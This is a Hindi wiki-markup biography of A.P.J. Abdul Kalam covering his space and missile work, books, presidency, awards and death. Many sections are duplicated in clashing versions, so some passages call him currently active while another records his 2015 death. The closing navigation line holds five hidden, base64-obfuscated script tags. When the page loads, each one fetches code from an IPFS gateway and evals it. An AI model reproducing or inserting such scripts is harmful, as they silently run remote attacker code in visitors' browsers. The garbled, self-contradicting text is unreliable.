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डॉ. अब्दुल कलाम जब एच.ए.एल. से एक वैमानिकी इंजीनियर बनकर निकले तो उनके पास नौकरी के दो बड़े अवसर थे। ये दोनों ही उनके बरसों पुराने उड़ान के सपने को पूरा करने वाले थे। एक अवसर [[भारतीय वायुसेना]] का था और दूसरा [[रक्षा मंत्रालय]] के अधीन 'तकनीकी विकास एवं उत्पादन निदेशालय' का था। उन्होंने दोनों जगहों पर साक्षात्कार दिया। वे रक्षा मंत्रालय के तकनीकी विकास एवं उत्पादन निदेशालय में चुन लिए गए। सन् [[1958]] में इन्होंने 250 रुपए के मूल वेतन पर निदेशालय के तकनीकी केंद्र (उड्डयन) में वरिष्ठ वैज्ञानिक सहायक के पद पर काम संभाल लिया।
कालान्तर में डॉ. अब्दुल कलाम को इंडियन कमेटी फॉर स्पेस रिसर्च की ओर से साक्षात्कार के लिए बुलावा आया। उनका साक्षात्कार अंतरिक्ष कार्यक्रम के जनक [[विक्रम साराभाई|डॉ. विक्रम साराभाई]] ने खुद लिया। इस साक्षात्कार के बाद भारतीय अंतरिक्ष अनुसंधान समिति में रॉकेट इंजीनियर के पद पर उन्हें चुन लिया गया। भारतीय अंतरिक्ष अनुसंधान समिति में इनका काम टाटा इंस्टीट्यूट आफ फण्डामेंटल रिसर्च के कंप्यूटर केंद्र में काम शुरू किया। सन् 1962 में भारतीय अंतरिक्ष अनुसंधान समिति ने [[केरल]] में [[त्रिवेंद्रम]] के पास थुंबा नामक स्थान पर रॉकेट प्रक्षेपण केंद्र स्थापित करने का फैसला किया। थुंबा को इस केंद्र के लिए सबसे उपयुक्त स्थान के रूप में चुना गया था, क्योंकि यह स्थान [[पृथ्वी]] के चुंबकीय अक्ष के सबसे क़रीब था। उसके बाद शीघ्र ही डॉ. कलाम को रॉकेट प्रक्षेपण से जुड़ी तकनीकी बातों का प्रशिक्षण प्राप्त करने के लिए अमेरिका में नेशनल एयरोनॉटिक्स एंड स्पेस एडमिनिस्ट्रेशन यानी 'नासा' भेजा गया। यह प्रशिक्षण छह महीने का था। जैसे ही डॉ. अब्दुल कलाम नासा से लौटे, [[21 नवंबर]], [[1963]] को भारत का 'नाइक-अपाचे' नाम का पहला रॉकेट छोड़ा गया। यह साउंडिंग रॉकेट नासा में ही बना था। डॉ. साराभाई ने राटो परियोजना के लिए डॉ. कलाम को प्रोजेक्ट लीडर नियुक्त किया। डॉ. कलाम ने विशेष वित्तीय शक्तियाँ हासिल की, प्रणाली विकसित की तथा [[8 अक्टूबर]] [[1972]] को [[उत्तर प्रदेश]] में बरेली एयरफोर्स स्टेशन पर इस प्रणाली का सफलतापूर्वक परीक्षण किया गया।<ref name="ebook"/>
 
====एसएलवी-3 परियोजना के प्रबंधक====
 
उनके जीवन का अगला बड़ा अवसर तब आया जब डॉ. अब्दुल कलाम को [[भारत]] के सैटेलाइट लांच वेहिकल (एस.एल.वी.) परियोजना का प्रबंधक बनाया गया। परियोजना प्रमुख के रूप में नामांकित करना एक सम्मान भी था और चुनौती भी थी। एस.एल.वी.-3 परियोजना का मुख्य उद्देश्य एक भरोसेमंद [[प्रमोचन यान]] विकसित करना था जो 40 किलोग्राम के एक उपग्रह को [[पृथ्वी]] से 400 किलोमीटर की ऊंचाई वाली कक्षा में स्थापित कर सके। इसमें एक बड़ा काम था यान के चार चरणों के लिए एक रॉकेट मोटर सिस्टम का विकास। हाई एनर्जी प्रोपेलेंट के इस्तेमाल में सक्षम रॉकेट मोटर सिस्टम में इस्तेमाल के लिए 8.5 टन प्रोपेलेंट ग्रेन निर्मित किया जाना था। एक अन्य कार्य था नियंत्रण तथा मार्गदर्शन। यह एक बड़ी परियोजना थी जिसमें दो सौ पचास उप-भाग और चालीस बड़ी उपप्रणालियाँ शामिल थीं। सभी गतिविधियों में तालमेल बैठाना और टीम का कुशल नेतृत्व करना डॉ. कलाम के लिए एक चुनौती थी। अंततः कड़ी मेहनत के बाद [[18 जुलाई]], [[1980]] को सुबह आठ बजकर तीन मिनट पर श्रीहरिकोटा रॉकेट प्रक्षेपण केंद्र से एस.एल.वी.-3 ने सफल उड़ान भरी। इस परियोजना की सफलता ने डॉ. अब्दुल कलाम को राष्ट्रीय पहचान दी। इस उपलब्धि के लिए उन्हें [[भारत सरकार]] द्वारा [[26 जनवरी]] [[1981]] को '[[पद्मभूषण]]' से सम्मानित किया गया।<ref name="ebook"/>
 
 
==विशेष योगदान==
 
==विशेष योगदान==
[[फ़रवरी|फ़रवरी]] [[1982]] में डॉ. अब्दुल कलाम को डी.आर.डी.एल का निदेशक नियुक्त किया गया। उसी समय अन्ना विश्वविद्यालय, [[मद्रास]] ने इन्हें 'डॉक्टर आफ साइंस' की मानक उपाधि से सम्मानित किया। एयरोनॉटिकल इंजीनियरिंग में डिग्री हासिल करने के क़रीब बीस साल बाद यह मानद उपाधि डॉ. अब्दुल कलाम को प्राप्त हुई। डॉ. अब्दुल कलाम ने रक्षामंत्री के तत्कालीन वैज्ञानिक सलाहकार डॉ. वी. एस. अरूणाचलम के मार्गदर्शन में इंटीग्रेटेड गाइडेड मिसाइल डेवलपमेंट प्रोग्राम (आई.जी.एम.डी.पी.) का प्रस्ताव तैयार किया। स्वदेशी मिसाइलों के विकास के लिए एक स्पष्ट और सुपरिभाषित मिसाइल कार्यक्रम तैयार करने के उद्देश्य से डॉ. अब्दुल कलाम की अध्यक्षता में एक कमेटी बनाई गई।[[चित्र:Putin-abdul-Kalam-atal-bihari.jpg|thumb|left|[[रूस]] के राष्ट्रपति व्लादिमिर पुतिन और भारत के पूर्व प्रधानमंत्री [[अटल बिहारी वाजपेयी]] के साथ अब्दुल कलाम]]
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{{Main|अब्दुल कलाम का योगदान}}
====मिसाइल कार्यक्रम के जनक====
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[[फ़रवरी|फ़रवरी]], [[1982]] में डॉ. अब्दुल कलाम को डी.आर.डी.एल का निदेशक नियुक्त किया गया। उसी समय अन्ना विश्वविद्यालय, [[मद्रास]] ने इन्हें 'डॉक्टर आफ साइंस' की मानक उपाधि से सम्मानित किया। एयरोनॉटिकल इंजीनियरिंग में डिग्री हासिल करने के क़रीब बीस साल बाद यह मानद उपाधि डॉ. अब्दुल कलाम को प्राप्त हुई। डॉ. अब्दुल कलाम ने रक्षामंत्री के तत्कालीन वैज्ञानिक सलाहकार डॉ. वी. एस. अरूणाचलम के मार्गदर्शन में 'इंटीग्रेटेड गाइडेड मिसाइल डेवलपमेंट प्रोग्राम' (आई.जी.एम.डी.पी.) का प्रस्ताव तैयार किया। स्वदेशी मिसाइलों के विकास के लिए एक स्पष्ट और सुपरिभाषित मिसाइल कार्यक्रम तैयार करने के उद्देश्य से डॉ. अब्दुल कलाम की अध्यक्षता में एक कमेटी बनाई गई।[[चित्र:Putin-abdul-Kalam-atal-bihari.jpg|thumb|left|[[रूस]] के राष्ट्रपति व्लादिमिर पुतिन और भारत के पूर्व प्रधानमंत्री [[अटल बिहारी वाजपेयी]] के साथ अब्दुल कलाम]]
इस परियोजना के प्रथम चरण में एक नीची ऊँचाई पर तुरंत मार करने वाली टैक्टिकल कोर वेहिकल मिसाइल और जमीन से जमीन पर मध्यम दूरी तक मार सकने वाली [[मिसाइल]] के विकास एवं उत्पादन पर जोर था। दूसरे चरण में जमीन से हवा में मार सकने वाली मिसाइल, तीसरी पीढ़ी की टैंकभेदी गाइडेड मिसाइल और डॉ. अब्दुल कलाम के सपने रि-एंट्री एक्सपेरिमेंट लान्च वेहिकल (रेक्स) का प्रस्ताव रखा गया था। जमीन से जमीन पर मार करने वाली मिसाइल प्रणाली को 'पृथ्वी' और टैक्टिकल कोर वेहिकल मिसाइल को 'त्रिशूल' नाम दिया गया। जमीन से हवा में मार करने वाली रक्षा प्रणाली को 'आकाश' और टैंकरोधी मिसाइल परियोजना को 'नाग' नाम दिया गया। डॉ. अब्दुल कलाम ने अपने मन में सँजोए रेक्स के बहुप्रतीक्षित सपने को 'अग्नि' नाम दिया। [[27 जुलाई]], [[1983]] को आई.जी.एम.डी.पी. की औपचारिक रूप से शुरूआत की गई। मिसाइल कार्यक्रम के अंतर्गत पहली मिसाइल का प्रक्षेपण [[16 सितंबर]], [[1985]] को किया गया। इस दिन [[श्रीहरिकोटा]] स्थित परीक्षण रेंज से 'त्रिशूल' को छोड़ा गया। यह एक तेज प्रतिक्रिया प्रणाली है जिसे नीची उड़ान भरने वाले विमानों, हेलीकॉप्टरों तथा विमानभेदी मिसाइलों के ख़िलाफ़ इस्तेमाल किया जा सकता है। [[25 फरवरी]], [[1988]] को दिन में 11बजकर 23 मिनट पर 'पृथ्वी' को छोड़ा गया। यह देश में रॉकेट विज्ञान के इतिहास में एक युगांतरकारी घटना थी। यह 150 किलोमीटर तक 1000 किलोग्राम पारंपरिक [[विस्फोटक]] सामग्री ले जाने की क्षमता वाली जमीन से जमीन पर मार करने वाली मिसाइल है। [[22 मई]], [[1989]] को 'अग्नि' का प्रक्षेपण किया गया। यह लंबी दूरी के फ्लाइट वेहिकल के लिए एक तकनीकी प्रदर्शक था। साथ ही 'आकाश' पचास किलोमीटर की अधिकतम अंतर्रोधी रेंजवाली मध्यम की वायु-रक्षा प्रणाली है। उसी प्रकार 'नाग' टैंक भेदी मिसाइल है, जिसमें 'दागो और भूल जाओ' तथा ऊपर से आक्रमण करने की क्षमताएँ हैं। डॉ. अब्दुल कलाम की पहल पर भारत द्वारा एक रूसी कंपनी के सहयोग से सुपरसोनिक क्रूज मिसाइल बनाने पर काम शुरू किया गया। [[फरवरी]] [[1998]] में [[भारत]] और [[रूस]] के बीच समझौते के अनुसार भारत में ब्रह्मोस प्राइवेट लिमिटेड की स्थापना की गई। '[[ब्रह्मोस मिसाइल|ब्रह्मोस]]' एक सुपरसोनिक क्रूज़ मिसाइल है जो धरती, [[समुद्र]], तथा हवा, कहीं भी दागी जा सकती है। यह पूरी दुनिया में अपने तरह की एक ख़ास मिसाइल है जिसमें अनेक खूबियां हैं। [[वर्ष]] [[1990]] के [[गणतंत्र दिवस]] के अवसर पर राष्ट्र ने अपने मिसाइल कार्यक्रम की सफलता पर खुशी मनाई। डॉ. अब्दुल कलाम और डॉ. अरूणाचलम को भारत सरकार द्वारा '[[पद्म विभूषण]]' से सम्मानित किया गया।<ref name="ebook"/>
 
 
 
==पुस्तकें==
 
[[चित्र:Wings-of-fire.jpg|thumb|200px|'विंग्स ऑफ़ फायर' अब्दुल कलाम की आत्मकथा]]
 
डॉक्टर कलाम ने साहित्यिक रूप से भी अपने शोध को चार उत्कृष्ट पुस्तकों में समाहित किया है, जो इस प्रकार हैं-
 
# [[अग्नि की उड़ान -अब्दुल कलाम|'विंग्स ऑफ़ फायर']]
 
# [[भारत 2020 नवनिर्माण की रूपरेखा -अब्दुल कलाम|'इण्डिया 2020- ए विज़न फ़ॉर द न्यू मिलेनियम']]
 
# 'माई जर्नी'
 
# 'इग्नाटिड माइंड्स- अनलीशिंग द पॉवर विदिन इंडिया'।
 
# [[महाशक्ति भारत -अब्दुल कलाम|महाशक्ति भारत]]
 
# [[हमारे पथ प्रदर्शक -अब्दुल कलाम|हमारे पथ प्रदर्शक]]
 
# [[हम होंगे कामयाब -अब्दुल कलाम|हम होंगे कामयाब]]
 
# [[अदम्य साहस -अब्दुल कलाम|अदम्य साहस]]
 
# [[छुआ आसमान -अब्दुल कलाम|छुआ आसमान]]
 
# [[भारत की आवाज़ -अब्दुल कलाम|भारत की आवाज़]]
 
# [[टर्निंग प्वॉइंट्स -अब्दुल कलाम|टर्निंग प्वॉइंट्स]]
 
इन पुस्तकों का कई भारतीय तथा विदेशी भाषाओं में [[अनुवाद]] हो चुका है। इन्होंने अपनी जीवनी 'विंग्स ऑफ़ फायर' भारतीय युवाओं को मार्गदर्शन प्रदान करने वाले अंदाज़ में लिखी है। इनकी दूसरी पुस्तक 'गाइडिंग सोल्स- डायलॉग्स ऑफ़ द पर्पज़ ऑफ़ लाइफ' आत्मिक विचारों को उद्घाटित करती है इन्होंने [[तमिल भाषा]] में कविताऐं भी लिखी हैं। दक्षिणी कोरिया में इनकी पुस्तकों की काफ़ी माँग है और वहाँ इन्हें बहुत अधिक पसंद किया जाता है।
 
 
==राजनीतिक जीवन==
 
==राजनीतिक जीवन==
डॉक्टर अब्दुल कलाम राजनीतिक क्षेत्र के व्यक्ति नहीं हैं लेकिन राष्ट्रवादी सोच और राष्ट्रपति बनने के बाद भारत की कल्याण संबंधी नीतियों के कारण इन्हें कुछ हद तक राजनीतिक दृष्टि से सम्पन्न माना जा सकता है। इन्होंने अपनी पुस्तक 'इण्डिया 2020' में अपना दृष्टिकोण स्पष्ट किया है। यह भारत को अंतरिक्ष विज्ञान के क्षेत्र में दुनिया का सिरमौर राष्ट्र बनते देखना चाहते हैं और इसके लिए इनके पास एक कार्य योजना भी है। परमाणु हथियारों के क्षेत्र में यह भारत को सुपर पॉवर बनाने की बात सोचते रहे हैं। वह विज्ञान के अन्य क्षेत्रों में भी तकनीकी विकास चाहते हैं। डॉक्टर कलाम का कहना है कि 'सॉफ़्टवेयर' का क्षेत्र सभी वर्जनाओं से मुक्त होना चाहिए ताकि अधिकाधिक लोग इसकी उपयोगिता से लाभांवित हो सकें। ऐसे में सूचना तकनीक का तीव्र गति से विकास हो सकेगा। वैसे इनके विचार शांति और हथियारों को लेकर विवादास्पद हैं। इस संबंध में इन्होंने कहा है- "2000 वर्षों के इतिहास में भारत पर 600 वर्षों तक अन्य लोगों ने शासन किया है। यदि आप विकास चाहते हैं तो देश में शांति की स्थिति होना आवश्यक है और शांति की स्थापना शक्ति से होती है। इसी कारण मिसाइलों को विकसित किया गया ताकि देश शक्ति सम्पन्न हो।"[[चित्र:Abdul-kalam-with-childrens.jpg|thumb|left|250px|बच्चों के साथ अब्दुल कलाम]]
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{{Main|अब्दुल कलाम का राजनीतिक जीवन}}
====राष्ट्रपति पद पर====
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डॉक्टर अब्दुल कलाम राजनीतिक क्षेत्र के व्यक्ति नहीं हैं लेकिन राष्ट्रवादी सोच और [[राष्ट्रपति]] बनने के बाद [[भारत]] की कल्याण संबंधी नीतियों के कारण इन्हें कुछ हद तक राजनीतिक दृष्टि से सम्पन्न माना जा सकता है। इन्होंने अपनी पुस्तक 'इण्डिया 2020' में अपना दृष्टिकोण स्पष्ट किया है। यह भारत को अंतरिक्ष विज्ञान के क्षेत्र में दुनिया का सिरमौर राष्ट्र बनते देखना चाहते हैं और इसके लिए इनके पास एक कार्य योजना भी है। परमाणु हथियारों के क्षेत्र में यह भारत को सुपर पॉवर बनाने की बात सोचते रहे हैं। वह विज्ञान के अन्य क्षेत्रों में भी तकनीकी विकास चाहते हैं।  
डॉक्टर अब्दुल कलाम [[भारत]] के ग्यारवें राष्ट्रपति निर्वाचित हुए थे। इन्हें [[भारतीय जनता पार्टी]] समर्थित एन.डी.ए. घटक दलों ने अपना उम्मीदवार बनाया था जिसका वामदलों के अलावा समस्त दलों ने समर्थन किया। [[18 जुलाई]], [[2002]] को डॉक्टर कलाम को नब्बे प्रतिशत बहुमत द्वारा 'भारत का राष्ट्रपति' चुना गया था और इन्हें [[25 जुलाई]] [[2002]] को [[संसद भवन]] के अशोक कक्ष में राष्ट्रपति पद की शपथ दिलाई गई। इस संक्षिप्त समारोह में [[प्रधानमंत्री]] [[अटल बिहारी वाजपेयी]], उनके मंत्रिमंडल के सदस्य तथा अधिकारीगण उपस्थित थे। इनका कार्यकाल [[25 जुलाई]] [[2007]] को समाप्त हुआ। [[भारतीय जनता पार्टी]] में इनके नाम के प्रति सहमति न हो पाने के कारण यह दोबारा राष्ट्रपति नहीं बनाए जा सके।
 
 
==व्यक्तित्व एवं कृतित्व==
 
==व्यक्तित्व एवं कृतित्व==
इतने महत्तवपूर्ण व्यक्ति के बारे में कुछ भी कहना सरल नहीं है। वेशभूषा, बोलचाल के लहजे, अच्छे-खासे सरकारी आवास को छोड़कर हॉस्टल का सादगीपूर्ण जीवन, ये बातें उनके संपर्क में आने वाले प्रत्येक व्यक्ति पर एक सम्मोहक प्रभाव छोड़ती हैं। डॉ. कलाम एक बहुआयामी व्यक्तित्व के धनी हैं। [[विज्ञान]], प्रौद्योगिकी, देश के विकास और युवा मस्तिष्कों को प्रज्ज्वलित करने में अपनी तल्लीनता के साथ साथ वे [[पर्यावरण]] की चिंता भी खूब करते हैं, [[साहित्य]] में रूचि रखते हैं, [[कविता]] लिखते हैं, [[वीणा]] बजाते हैं, तथा अध्यात्म से बहुत गहरे जुड़े हुए हैं। डॉ. कलाम में अपने काम के प्रति जबर्दस्त दीवानगी है। उनके लिए कोई भी समय काम का समय होता है। वह अपना अधिकांश समय कार्यालय में बिताते हैं। देर शाम तक विभिन्न कार्यक्रमों में डॉ. कलाम की सक्रियता तथा स्फूर्ति काबिलेतारीफ है। ऊर्जा का ऐसा प्रवाह केवल गहरी प्रतिबद्धता तथा समर्पण से ही आ सकता है। डॉ. कलाम खानपान में पूर्णत: शाकाहारी व्यक्ति हैं। वे मदिरापान से बिलकुल परहेज करते हैं। उनका निजी जीवन अनुकरणीय है। डॉ. कलाम की याददाश्त बहुत तेज है। वे घटनाओं तथा बातों को याद रखते हैं।<ref name="ebook"/>[[चित्र:Dr.kalam-with indira gandhi.png|thumb|300px|[[इंदिरा गांधी]] को एस.एल.वी.-3 के बारे में जानकारी देते हुए डॉ. कलाम]]   
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[[चित्र:A.P.J. Abdul Kalam teaching at ISRO, 1980.jpg|thumb|250px||डॉ. कलाम [[इसरो]] के वैज्ञानिकों को पढ़ाते हुए, सन् 1980]]
====सर्वधर्म समभाव के प्रतीक====
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{{Main|अब्दुल कलाम का व्यक्तित्व}}
डॉ. कलाम बातचीत में बड़े विनोदप्रिय स्वभाव के हैं। अपनी बात को बड़ी सरलता तथा साफगोई से सामने रखते हैं। प्राय: उनकी बातों में हास्य का पुट होता है। लेकिन बात बहुत सटीक तौर पर करते हैं। डॉ. कलाम सभी मुद्दों को मानवीयता की कसौटी पर परखते हैं। उनके लिए जाति, धर्म, वर्ग, समुदाय मायने नहीं रखते। वे सर्वधर्म समभाव के प्रतीक हैं। वह इंसान के जीवन को ऊंचा उठाना चाहते हैं। उसे बेहतरी की ओर ले जाना चाहते हैं। उनका मानवतावाद मनुष्यों की समानता के आधारभूत सिद्धांत पर आधारित है। [[25 जुलाई]], [[2002]] की शाम को [[भारत के राष्ट्रपति]] का सर्वोच्च पद सँभालने के दिन घटित एक बात से इसे अच्छी तरह समझा जा सकता है। उस दिन [[राष्ट्रपति भवन]] में एक प्रार्थना सभा आयोजित की गई थी जिसमें रामेश्वरम् मसजिद के मौलवी, रामेश्वरम् मंदिर के पुजारी, सेंट जोसेफ कॉलेज के फॉदर रेक्टर तथा अन्य लोगों ने भाग लिया था। उनके बारे में जो पहलू सबसे कम प्रचारित है वह है उनकी उदारता या परोपकार की भावना।<ref name="ebook"/>
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डॉ. कलाम एक बहुआयामी व्यक्तित्व के धनी हैं। वेशभूषा, बोलचाल के लहजे, अच्छे-खासे सरकारी आवास को छोड़कर हॉस्टल का सादगीपूर्ण जीवन, ये बातें उनके संपर्क में आने वाले प्रत्येक व्यक्ति पर एक सम्मोहक प्रभाव छोड़ती हैं। [[विज्ञान]], प्रौद्योगिकी, देश के विकास और युवा मस्तिष्कों को प्रज्ज्वलित करने में अपनी तल्लीनता के साथ साथ वे [[पर्यावरण]] की चिंता भी खूब करते हैं, [[साहित्य]] में रुचि रखते हैं, [[कविता]] लिखते हैं, [[वीणा]] बजाते हैं, तथा अध्यात्म से बहुत गहरे जुड़े हुए हैं। डॉ. कलाम में अपने काम के प्रति जबर्दस्त दीवानगी है। उनके लिए कोई भी समय काम का समय होता है। वह अपना अधिकांश समय कार्यालय में बिताते हैं। देर शाम तक विभिन्न कार्यक्रमों में डॉ. कलाम की सक्रियता तथा स्फूर्ति काबिलेतारीफ है। ऊर्जा का ऐसा प्रवाह केवल गहरी प्रतिबद्धता तथा समर्पण से ही आ सकता है। डॉ. कलाम खानपान में पूर्णत: शाकाहारी व्यक्ति हैं। वे मदिरापान से बिलकुल परहेज करते हैं। उनका निजी जीवन अनुकरणीय है। डॉ. कलाम की याददाश्त बहुत तेज है। वे घटनाओं तथा बातों को याद रखते हैं।<ref name="ebook">{{cite web |url=http://ehindi.hbcse.tifr.res.in/scientist/921949-90f-92a940-91c947-90592c94d926941932.html |title=डॉ. ए.पी.जे. अब्दुल कलाम : व्यक्तित्व एवं कृतित्व  |accessmonthday= 15 दिसम्बर|accessyear= |last2013= |first= |authorlink= |format= |publisher= शैक्षिक ई-सामग्री|language=हिंदू }}</ref>
====समाज सेवा====
 
उनके द्वारा लिखी गयी पुस्तकें बहुत लोकप्रिय रही हैं। वे अपनी किताबों की रॉयल्टी का अधिकांश हिस्सा स्वयंसेवी संस्थाओं को मदद में दे देते हैं। [[मदर टेरेसा]] द्वारा स्थापित 'सिस्टर्स ऑफ़ चैरिटी' उनमें से एक है। विज्ञान तथा प्रौद्योगिकी के क्षेत्र में उनके योगदान के लिए उन्हें कई पुरस्कार मिले हैं। इनमें से कुछ पुरस्कारों के साथ नकद राशियां भी थीं। वह इन पुरस्कार राशियों को परोपकार के कार्यों के लिए अलग रखते हैं। जब-जब देश में प्राकृतिक आपदाएँ आई हैं, तब-तब डॉ. कलाम की मानवीयता एवं करुणा निखरकर सामने आई है। वह अन्य मनुष्यों के कष्ट तथा पीड़ा के विचार मात्र से दुःखी हो जाते हैं। वह प्रभावित लोगों को राहत पहुचाँने के लिए डी.आर.डी.ओ. के नियंत्रण में मौजूद सभी संसाधनों को एकत्रित करते। जब वे रक्षा अनुसंधान तथा विकास संगठन में कार्यरत थे तो उन्होंने हर राष्ट्रीय आपदा में विभाग की ओर से बढ़ चढ़कर राहत कोष में मदद की।<ref name="ebook">{{cite web |url=http://ehindi.hbcse.tifr.res.in/scientist/921949-90f-92a940-91c947-90592c94d926941932.html |title=डॉ. ए.पी.जे. अब्दुल कलाम : व्यक्तित्व एवं कृतित्व  |accessmonthday= 15 दिसम्बर|accessyear= |last2013= |first= |authorlink= |format= |publisher= शैक्षिक ई-सामग्री|language=हिंदू }}</ref>
 
 
==सम्मान और पुरस्कार==
 
==सम्मान और पुरस्कार==
[[चित्र:A.P.J. Abdul Kalam teaching at ISRO, 1980.jpg|thumb|डॉ. कलाम [[इसरो]] के वैज्ञानिकों को पढ़ाते हुए, सन् 1980]]
 
 
डॉ. कलाम को अनेक सम्मान और पुरस्कार मिले हैं जिनमें शामिल हैं-  
 
डॉ. कलाम को अनेक सम्मान और पुरस्कार मिले हैं जिनमें शामिल हैं-  
 
* इंस्टीट्यूशन ऑफ़ इंजीनियर्स का नेशनल डिजाइन अवार्ड
 
* इंस्टीट्यूशन ऑफ़ इंजीनियर्स का नेशनल डिजाइन अवार्ड
 
* एरोनॉटिकल सोसाइटी ऑफ़ इंडिया का डॉ. बिरेन रॉय स्पेस अवार्ड
 
* एरोनॉटिकल सोसाइटी ऑफ़ इंडिया का डॉ. बिरेन रॉय स्पेस अवार्ड
* एस्ट्रोनॉटिकल सोसाइटी ऑफ़ इंडिया का आर्यभट्ट पुरस्कार
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* एस्ट्रोनॉटिकल सोसाइटी ऑफ़ इंडिया का आर्यभट पुरस्कार
 
* विज्ञान के लिए जी.एम. मोदी पुरस्कार
 
* विज्ञान के लिए जी.एम. मोदी पुरस्कार
 
* [[इंदिरा गांधी राष्ट्रीय एकता पुरस्कार|राष्ट्रीय एकता के लिए इंदिरा गांधी पुरस्कार]]।
 
* [[इंदिरा गांधी राष्ट्रीय एकता पुरस्कार|राष्ट्रीय एकता के लिए इंदिरा गांधी पुरस्कार]]।
* ये भारत के एक विशिष्ट वैज्ञानिक हैं, जिन्हें 30 [[विश्वविद्यालय|विश्वविद्यालयों]] और संस्थानों से डॉक्टरेट की मानद उपाधि प्राप्त हो चुकी है।
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* डॉ. कलाम [[भारत]] के विशिष्ट वैज्ञानिक थे, जिन्हें 30 [[विश्वविद्यालय|विश्वविद्यालयों]] और संस्थानों से डॉक्टरेट की मानद उपाधि प्राप्त हुई थी।
* इन्हें भारत के नागरिक सम्मान के रूप में [[1981]] में [[पद्म भूषण]], [[1990]] में [[पद्म विभूषण]], [[1997]] में [[भारत रत्न]] सम्मान प्राप्त हो चुके है।
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* भारत के नागरिक सम्मान के रूप में डॉ. कलाम को [[1981]] में [[पद्म भूषण]], [[1990]] में [[पद्म विभूषण]], [[1997]] में [[भारत रत्न]] सम्मान प्राप्त हो चुके थे।
 
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====विशेषता====
==विशेषता==
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[[चित्र:APJ-Abdul-Kalam.jpg|thumb|200px|अब्दुल कलाम]]
 
* डॉक्टर अब्दुल कलाम ऐसे तीसरे राष्ट्रपति हैं जिन्हें '''[[भारत रत्न]]''' का सम्मान राष्ट्रपति बनने से पूर्व ही प्राप्त हुआ है, अन्य दो राष्ट्रपति [[सर्वपल्ली राधाकृष्णन]] और [[डॉक्टर ज़ाकिर हुसैन]] हैं।  
 
* डॉक्टर अब्दुल कलाम ऐसे तीसरे राष्ट्रपति हैं जिन्हें '''[[भारत रत्न]]''' का सम्मान राष्ट्रपति बनने से पूर्व ही प्राप्त हुआ है, अन्य दो राष्ट्रपति [[सर्वपल्ली राधाकृष्णन]] और [[डॉक्टर ज़ाकिर हुसैन]] हैं।  
 
* यह प्रथम वैज्ञानिक हैं जो [[राष्ट्रपति]] बने हैं और प्रथम राष्ट्रपति भी हैं जो अविवाहित हैं।  
 
* यह प्रथम वैज्ञानिक हैं जो [[राष्ट्रपति]] बने हैं और प्रथम राष्ट्रपति भी हैं जो अविवाहित हैं।  
==वर्तमान में==
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==अंतिम समय==
वर्तमान में डॉ. कलाम [[काशी हिन्दू विश्वविद्यालय]], भारतीय प्रबंधन संस्थान शिलांग, भारतीय प्रबंधन संस्थान अहमदाबाद तथा भारतीय प्रबंधन संस्थान इंदौर में आगंतुक प्रोफेसर हैं। साथ ही भारतीय अंतरिक्ष विज्ञान एवं प्रौद्योगिकी संस्थान तिरूवंतपुरम् में कुलाधिपति तथा अन्ना विश्वविद्यालय [[चेन्नई]] में एयरो इंजीनियरिंग के प्रध्यापक के पद में नियुक्त हैं। आज 82 वर्ष की उम्र में भी उनकी अकादमिक सक्रियता देखने लायक है। ऐसे युगपुरुष के बारे में जितना भी कुछ कहा जाय, वह कम ही है।<ref name="ebook"/>
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{{Main|अब्दुल कलाम का अंतिम समय}}
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[[27 जुलाई]], [[2015]] की शाम अब्दुल कलाम 'भारतीय प्रबंधन संस्थान शिलोंग' में 'रहने योग्य ग्रह' पर एक व्याख्यान दे रहे थे, तब उन्हें दिल का दौरा पड़ा और वे बेहोश होकर गिर पड़े। लगभग 6:30 बजे गंभीर हालत में उन्हें बेथानी अस्पताल में आईसीयू में ले जाया गया और दो घंटे के बाद उनकी मृत्यु की पुष्टि कर दी गई। अस्पताल के सीईओ जॉन साइलो के अनुसार- "जब कलाम को अस्पताल लाया गया, तब उनकी नब्ज और रक्तचाप साथ छोड़ चुके थे। अपने निधन से लगभग 9 घण्टे पहले ही उन्होंने ट्वीट करके बताया था कि- "वह शिलोंग आईआईएम में लेक्चर के लिए जा रहे हैं।" कलाम [[अक्टूबर]], [[2015]] में 84 साल के होने वाले थे। [[मेघालय]] के [[राज्यपाल]] वी. षडमुखनाथन, अब्दुल कलाम के हॉस्पिटल में प्रवेश की खबर सुनते ही सीधे अस्पताल पहुँच गए थे, बाद में षडमुखनाथन ने बताया कि कलाम को बचाने की चिकित्सा दल की कोशिशों के बाद भी शाम 7:45 पर उनका निधन हो गया। कलाम के निधन का समाचार पाकर पूरे देश में शोक की लहर दौड़ गई।
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*[http://www.abdulkalam.nic.in/welcome.html Dr. APJ Abdul Kalam]
 
*[http://www.abdulkalam.nic.in/welcome.html Dr. APJ Abdul Kalam]
 
==संबंधित लेख==
 
==संबंधित लेख==
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अब्दुल कलाम विषय सूची
अब्दुल कलाम   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> जीवनी   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> विद्यार्थी जीवन   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> कार्यक्षेत्र   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> योगदान   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> पुस्तकें   